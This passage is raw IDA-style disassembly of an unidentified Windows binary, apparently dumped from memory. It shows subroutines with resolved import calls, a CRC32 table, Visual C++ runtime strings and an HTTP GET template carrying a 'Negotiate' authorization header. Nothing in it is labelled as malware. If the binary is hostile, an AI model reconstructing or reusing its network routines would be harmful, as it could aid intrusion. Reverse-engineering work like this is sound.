pop ecx
mov [ebp+arg_C], eax
loc_4266C1: ; CODE XREF: sub_426636+79j
mov eax, dword_4DC010
cmp eax, 1
jnz short loc_4266E8
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2650000h
jmp loc_42682D
; ---------------------------------------------------------------------------
loc_4266E8: ; CODE XREF: sub_426636+93j
cmp eax, 2
jnz loc_42682B
cmp [ebp+arg_18], esi
jnz short loc_4266FE
mov eax, dword_4DBE94
mov [ebp+arg_18], eax
loc_4266FE: ; CODE XREF: sub_426636+BEj
push esi
push esi
push esi
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
nop
call near ptr 28410A4h
mov [ebp+var_20], eax
cmp eax, esi
jz loc_42682B
mov [ebp+var_4], esi
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_1C], eax
jmp short loc_426744
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
mov [ebp+var_1C], esi
loc_426744: ; CODE XREF: sub_426636+100j
or [ebp+var_4], 0FFFFFFFFh
cmp [ebp+var_1C], esi
jz loc_42682B
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
nop
call near ptr 28410A4h
test eax, eax
jz loc_42682B
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 2651132h
nop
mov edi, eax
mov [ebp+var_2C], edi
cmp edi, esi
jz loc_42682B
mov [ebp+var_4], 1
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4267C7
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+var_2C]
loc_4267C7: ; CODE XREF: sub_426636+17Dj
cmp ebx, esi
jz short loc_42682B
push edi
push ebx
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 2651132h
nop
test eax, eax
jz short loc_42682B
test byte ptr [ebp+arg_4+1], 4
jz short loc_426805
mov eax, [ebp+arg_14]
cmp eax, esi
jz short loc_426827
cmp eax, edi
jl short loc_4267F6
mov eax, edi
loc_4267F6: ; CODE XREF: sub_426636+1BCj
push eax
push ebx
push [ebp+arg_10]
call sub_41BFD0
add esp, 0Ch
jmp short loc_426827
; ---------------------------------------------------------------------------
loc_426805: ; CODE XREF: sub_426636+1B1j
cmp [ebp+arg_14], esi
jnz short loc_42680E
push esi
push esi
jmp short loc_426814
; ---------------------------------------------------------------------------
loc_42680E: ; CODE XREF: sub_426636+1D2j
push [ebp+arg_14]
push [ebp+arg_10]
loc_426814: ; CODE XREF: sub_426636+1D6j
push edi
push ebx
push 1
push [ebp+arg_18]
call near ptr 2710000h
nop
mov edi, eax
cmp edi, esi
jz short loc_42682B
loc_426827: ; CODE XREF: sub_426636+1B8j
; sub_426636+1CDj
mov eax, edi
jmp short loc_42682D
; ---------------------------------------------------------------------------
loc_42682B: ; CODE XREF: sub_426636+66j
; sub_426636+B5j ...
xor eax, eax
loc_42682D: ; CODE XREF: sub_426636+ADj
; sub_426636+1F3j
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_426636 endp
; =============== S U B R O U T I N E =======================================
sub_42683F proc near ; CODE XREF: sub_426636+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_42685E
loc_42684F: ; CODE XREF: sub_42683F+1Dj
cmp word ptr [eax], 0
jz short loc_42685E
inc eax
mov esi, ecx
inc eax
dec ecx
test esi, esi
jnz short loc_42684F
loc_42685E: ; CODE XREF: sub_42683F+Ej
; sub_42683F+14j
cmp word ptr [eax], 0
pop esi
jnz short loc_42686C
sub eax, [esp+arg_0]
sar eax, 1
retn
; ---------------------------------------------------------------------------
loc_42686C: ; CODE XREF: sub_42683F+24j
mov eax, edx
retn
sub_42683F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42686F proc near ; CODE XREF: sub_4265C1+35p
var_4 = dword ptr -4
arg_0 = word ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFh
jz short loc_4268AF
cmp [ebp+arg_0], 100h
jnb short loc_426893
movzx eax, [ebp+arg_0]
mov ecx, off_43CE7C
mov ax, [ecx+eax*2]
jmp short loc_4268B6
; ---------------------------------------------------------------------------
loc_426893: ; CODE XREF: sub_42686F+12j
push 0
lea eax, [ebp+var_4]
push 0
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 1
call sub_4268C1
add esp, 18h
test eax, eax
jnz short loc_4268B3
loc_4268AF: ; CODE XREF: sub_42686F+Aj
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_4268B3: ; CODE XREF: sub_42686F+3Ej
mov eax, [ebp+var_4]
loc_4268B6: ; CODE XREF: sub_42686F+22j
movzx ecx, [ebp+arg_4]
movzx eax, ax
and eax, ecx
leave
retn
sub_42686F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4268C1 proc near ; CODE XREF: sub_42686F+34p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427D48
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4DC014
xor edi, edi
cmp eax, edi
jnz short loc_426930
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_427920
push esi
nop
call near ptr 2610000h
test eax, eax
jz short loc_42690E
mov eax, esi
jmp short loc_42692B
; ---------------------------------------------------------------------------
loc_42690E: ; CODE XREF: sub_4268C1+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset word_4CB88C
push esi
push edi
nop
call near ptr 2620000h
test eax, eax
jz loc_426A72
push 2
pop eax
loc_42692B: ; CODE XREF: sub_4268C1+4Bj
mov dword_4DC014, eax
loc_426930: ; CODE XREF: sub_4268C1+2Fj
cmp eax, 1
jnz short loc_42694C
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2610000h
jmp loc_426A74
; ---------------------------------------------------------------------------
loc_42694C: ; CODE XREF: sub_4268C1+72j
cmp eax, 2
jnz loc_426A72
cmp [ebp+arg_10], edi
jnz short loc_426962
mov eax, dword_4DBE94
mov [ebp+arg_10], eax
loc_426962: ; CODE XREF: sub_4268C1+97j
push edi
push edi
push edi
push edi
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
nop
call near ptr 28410A4h
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz loc_426A72
mov [ebp+var_4], edi
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_2C], eax
push esi
push edi
push eax
call sub_41BF70
add esp, 0Ch
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4269C0
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_2C], edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_4269C0: ; CODE XREF: sub_4268C1+EAj
cmp [ebp+var_2C], edi
jz loc_426A72
push edi
push edi
push esi
push [ebp+var_2C]
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
nop
call near ptr 28410A4h
test eax, eax
jz loc_426A72
mov [ebp+var_4], 1
lea eax, [esi+esi+2]
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
jmp short loc_426A15
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
loc_426A15: ; CODE XREF: sub_4268C1+147j
or [ebp+var_4], 0FFFFFFFFh
cmp ebx, edi
jz short loc_426A72
mov eax, [ebp+arg_14]
cmp eax, edi
jnz short loc_426A29
mov eax, dword_4DBE84
loc_426A29: ; CODE XREF: sub_4268C1+161j
mov ecx, [ebp+arg_8]
lea edi, [ecx+ecx]
lea esi, [edi+ebx]
or word ptr [esi], 0FFFFh
or word ptr [esi-2], 0FFFFh
push ebx
push [ebp+var_28]
push [ebp+var_2C]
push [ebp+arg_0]
push eax
nop
call near ptr 2620000h
mov [ebp+var_20], eax
cmp word ptr [esi-2], 0FFFFh
jz short loc_426A72
cmp word ptr [esi], 0FFFFh
jnz short loc_426A72
push edi
push ebx
push [ebp+arg_C]
call sub_41D670
add esp, 0Ch
mov eax, [ebp+var_20]
jmp short loc_426A74
; ---------------------------------------------------------------------------
loc_426A72: ; CODE XREF: sub_4268C1+61j
; sub_4268C1+8Ej ...
xor eax, eax
loc_426A74: ; CODE XREF: sub_4268C1+86j
; sub_4268C1+1AFj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4268C1 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_426A88 proc near ; DATA XREF: ___:00427EFCo
; FUNCTION CHUNK AT 0040D76C SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_40D76C
sub_426A88 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_426AA6
mov ecx, [ebp+8]
jmp loc_40D76C
; ---------------------------------------------------------------------------
locret_426AA6: ; CODE XREF: ___:00426A98j
retn
; ---------------------------------------------------------------------------
loc_426AA7: ; DATA XREF: sub_40D340o
mov eax, offset dword_427ED0
jmp loc_41D2FB
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+14h]
jmp loc_40D76C
; ---------------------------------------------------------------------------
loc_426ABC: ; DATA XREF: ___:00427F2Co
lea ecx, [ebp-1Ch]
jmp loc_40D76C
; ---------------------------------------------------------------------------
loc_426AC4: ; DATA XREF: sub_40D4E2o
mov eax, offset dword_427F00
jmp loc_41D2FB
; ---------------------------------------------------------------------------
align 10h
loc_426AD0: ; DATA XREF: sub_40DA4Fo
mov eax, offset dword_427F30
jmp loc_41D2FB
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_426564
; ---------------------------------------------------------------------------
loc_426AE2: ; DATA XREF: sub_4260FEo
mov eax, offset dword_427F90
jmp loc_41D2FB
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40D76C
; ---------------------------------------------------------------------------
loc_426AF4: ; DATA XREF: sub_426173o
mov eax, offset dword_428028
jmp loc_41D2FB
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_426564
; ---------------------------------------------------------------------------
loc_426B06: ; DATA XREF: sub_4261D0o
mov eax, offset dword_42804C
jmp loc_41D2FB
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_426564
; ---------------------------------------------------------------------------
loc_426B18: ; DATA XREF: sub_426218o
mov eax, offset dword_428070
jmp loc_41D2FB
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40D76C
; ---------------------------------------------------------------------------
loc_426B2A: ; DATA XREF: sub_42629Ao
mov eax, offset dword_4280D0
jmp loc_41D2FB
; ---------------------------------------------------------------------------
dd 133h dup(0)
dd 25F0000h, 2600000h, 2600AAAh, 2600B3Ah, 2600EEAh, 2610000h
dd 2620000h, 262082Dh, 2620D20h, 2630000h, 263083Fh, 2630AB5h
dword_427030 dd 2630AD8h ; DATA XREF: ___:004239E2r
dd 2630B54h, 2630DFFh, 2630E44h, 2640000h, 2650000h, 2651132h
dd 2660000h, 26604F6h, 266088Ch, 26608C7h, 26608E0h, 2670000h
dword_427064 dd 2670443h ; DATA XREF: sub_41F216:loc_41F247r
dword_427068 dd 26705B4h ; DATA XREF: sub_41E742+240r
dd 77E75CB5h
dword_427070 dd 2670770h ; DATA XREF: sub_40111D+B8r
; ___:004014FCr ...
dd 26709E4h, 2680000h, 2680A92h
dword_427080 dd 2680EF8h ; DATA XREF: sub_40111D+29r
; sub_40C3E8+2E9r ...
dword_427084 dd 2690000h ; DATA XREF: ___:004015E2r
; sub_4116D6+32r
; ---------------------------------------------------------------------------
jmp short near ptr byte_42708B
; ---------------------------------------------------------------------------
db 69h
byte_42708B db 2 ; CODE XREF: ___:00427088j
dword_42708C dd 26902E0h ; DATA XREF: sub_419C09+B9r
dd 269081Fh
dword_427094 dd 269086Bh ; DATA XREF: sub_4119F9:loc_411A8Ar
dword_427098 dd 2690895h ; DATA XREF: ___:loc_4013DCr
dd 2690D47h, 2690E7Eh
dword_4270A4 dd 26A0000h ; DATA XREF: sub_409909+2r
dd 26A0168h, 26A01EFh
dword_4270B0 dd 26A07AFh ; DATA XREF: ___:0040124Dr
; sub_41AA1E+8Cr
dword_4270B4 dd 26A0846h ; DATA XREF: sub_4116D6:loc_4117C2r
dd 26B0000h, 26B09DCh
dword_4270C0 dd 26B0AD3h ; DATA XREF: sub_409909:loc_409E17r
dword_4270C4 dd 26C0000h ; DATA XREF: sub_409909+11r
; sub_4172C1+60r ...
dd 26D0000h, 26E0000h, 26F0000h, 26F0A80h, 77F7E300h, 77F7E21Fh
dd 2700000h, 27001AFh
dword_4270E8 dd 2710000h ; DATA XREF: sub_419177+Fr
; sub_41E0D4+54r
dword_4270EC dd 271129Ah ; DATA XREF: sub_4119F9+Br
dd 2720000h, 27208DAh
dword_4270F8 dd 2730000h ; DATA XREF: sub_4187E0+36r
dd 2730250h, 2730320h
dword_427104 dd 273094Dh ; DATA XREF: sub_411920+3Ar
; sub_41A1B1+79r
dword_427108 dd 2740000h ; DATA XREF: sub_411827+23r
; sub_41A1B1+3Br
dd 2750000h, 2760000h, 2760B9Eh, 2770000h, 27705BFh, 2780000h
dd 2790000h, 27A0000h, 27A0B49h, 27A0E49h, 27B0000h, 27B011Ch
dd 27B0379h, 27B0791h, 27C0000h
dword_427148 dd 27C02E1h ; DATA XREF: sub_4172C1+BCr
dd 27D0000h
dword_427150 dd 27E0000h ; DATA XREF: sub_417493+21r
; sub_41761C+4Ar
dword_427154 dd 27E0B98h ; DATA XREF: sub_417493+10r
; sub_41761C+40r ...
dd 27E0C53h
dword_42715C dd 27F0000h ; DATA XREF: sub_41761C+56r
dd 27F02F6h, 2800000h, 2810000h, 281061Bh, 2810B24h, 2810E14h
dd 2820000h, 28206BCh, 2830000h, 2840000h
dword_427188 dd 28410A4h ; DATA XREF: sub_4190A5+13r
; ___:00423A57r
dd 2841B88h, 2850000h, 28504F5h, 28507A1h, 2860000h, 2870000h
dd 2880000h, 2890000h, 28919ACh, 28919DDh, 28A0000h, 28A0E1Bh
dd 28B0000h, 0
dd 71AB5A01h, 71AB4122h
dword_4271CC dd 71AB1746h ; DATA XREF: sub_4131EC+1DEr
dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB12F8h, 71AB1746h
dd 71AB3E5Dh
dword_4271FC dd 71AB5690h ; DATA XREF: sub_40E9FB+6Ar
dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
dd 71AB157Eh, 2 dup(0)
dword_427220 dd 0 ; DATA XREF: sub_401070+26r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427620 dd 2Eh ; DATA XREF: sub_401ACD+3428o
; sub_401ACD+3514o ...
dword_427624 dd 2Eh ; DATA XREF: sub_401ACD+3850o
; sub_401ACD+388Ao ...
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4E2+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 8
dbl_427668 dq 1.388888888888889e-2 ; DATA XREF: sub_40D2F4+2Fr
dbl_427670 dq 1.666666666666667e-1 ; DATA XREF: sub_40D2F4+15r
dword_427678 dd 0FFFFFFFFh ; DATA XREF: sub_40D340+16Fr
; sub_40D774r ...
align 10h
dbl_427680 dq 1.333333333333333 ; DATA XREF: sub_40D340+79r
dword_427688 dd 2 dup(0) ; DATA XREF: sub_40D4E2+4Do
; sub_40D824+5Bo ...
dbl_427690 dq 9.765625e-4 ; DATA XREF: ___:00416A5Dr
; ___:00416A78r ...
dbl_427698 dq -1.52587890625e-4 ; DATA XREF: sub_417E84+3E5r
dbl_4276A0 dq 3.0517578125e-4 ; DATA XREF: sub_417E84+3C5r
dbl_4276A8 dq -3.0517578125e-4 ; DATA XREF: sub_417E84+342r
; sub_417E84+3A7r
dbl_4276B0 dq 1.52587890625e-4 ; DATA XREF: sub_417E84+271r
dbl_4276B8 dq -1.739501953125e-3 ; DATA XREF: sub_417E84+24Br
; sub_417E84+2D5r ...
dbl_4276C0 dq 3.11279296875e-3 ; DATA XREF: sub_417E84+E1r
dbl_4276C8 dq 3.0517578125e-5 ; DATA XREF: sub_417E84+AEr
; sub_417E84+138r ...
dbl_4276D0 dq 6.103515625e-5 ; DATA XREF: sub_417E84+93r
; sub_417E84+308r
dbl_4276D8 dq 2.288818359375e-3 ; DATA XREF: sub_417E84+21r
dbl_4276E0 dq -3.0517578125e-5 ; DATA XREF: sub_418BD1+2Br
flt_4276E8 dd 9.765625e-4 ; DATA XREF: sub_41AA1E+1B0r
flt_4276EC dd 8.0 ; DATA XREF: sub_41AA1E+1AAr
flt_4276F0 dd 0.0 ; DATA XREF: sub_41AA1E+171r
flt_4276F4 dd 1.0e-3 ; DATA XREF: sub_41AA1E+168r
dbl_4276F8 dq 1.0 ; DATA XREF: sub_41D055+6Cr
; sub_41D19B+6Cr ...
dd 0FFFFFFFFh, 41E2AAh, 41E2BEh
a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041E5B8o
align 4
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041E579o
align 4
byte_42773C db 6 ; DATA XREF: sub_41FF3F:loc_41FF96r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: ___:off_43D094o
unicode 0, <(null)>,0
align 4
aNull_0 db '(null)',0 ; DATA XREF: ___:off_43D090o
align 10h
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 4
aAtan2 db 'atan2',0
align 10h
aAtan db 'atan',0
align 4
aAcos db 'acos',0
align 10h
aAsin db 'asin',0
align 4
aTanh db 'tanh',0
align 10h
aCosh db 'cosh',0
align 4
aSinh db 'sinh',0
align 10h
aLog10 db 'log10',0
align 4
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: ___:off_43D30Co
dbl_427860 dq 0.0 ; DATA XREF: sub_421BFF+8Cr
; sub_421BFF+ACr ...
dbl_427868 dq 4.195835e6 ; DATA XREF: sub_422114+Fr
dbl_427870 dq 3.145727e6 ; DATA XREF: sub_422114+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_422152+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_422152o
align 10h
aE000 db 'e+000',0 ; DATA XREF: sub_422279+93o
align 4
dword_4278A8 dd 0FFFFFFFFh, 422964h, 42296Eh, 0 ; DATA XREF: sub_4228FD+5o
dword_4278B8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422A2C+5o
dd offset loc_422AEA
align 8
dd offset sub_422AC8
dd offset sub_422AD2
dword_4278D0 dd 0FFFFFFFFh, 422D1Ah, 422D1Eh, 0 ; DATA XREF: sub_422B62+5o
dword_4278E0 dd 0FFFFFFFFh, 422D7Ch, 422D85h, 0 ; DATA XREF: sub_422D26+5o
dword_4278F0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422DFC+5o
dd offset loc_422E4D
align 10h
dd offset loc_422E39
dd offset loc_422E3D
dword_427908 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422E52+5o
dd offset loc_422EA3
align 8
dd offset loc_422E8F
dd offset loc_422E93
dword_427920 dd 2 dup(0) ; DATA XREF: sub_4232A8+36o
; sub_4244F4+39o ...
dword_427928 dd 0FFFFFFFFh, 4233B8h, 4233BCh, 0FFFFFFFFh, 42346Ch, 423470h
; DATA XREF: sub_4232A8+5o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 10h
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 10h
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 10h
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43D4DCo
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423DD1+119o
align 10h
asc_427BF0 db 0Ah ; DATA XREF: sub_423DD1+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_423DD1+D3o
db 0Ah
db 'Program: ',0
align 10h
a___ db '...',0 ; DATA XREF: sub_423DD1+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_423DD1+7Do
align 10h
dword_427C30 dd 0FFFFFFFFh, 4245EDh, 4245F1h ; DATA XREF: sub_4244F4+5o
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_425029+3Do
align 10h
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_425029+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_425029+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_425973:loc_425A68o
align 4
a1Inf db '1#INF',0 ; DATA XREF: sub_425973+D8o
align 4
a1Ind db '1#IND',0 ; DATA XREF: sub_425973+C7o
align 4
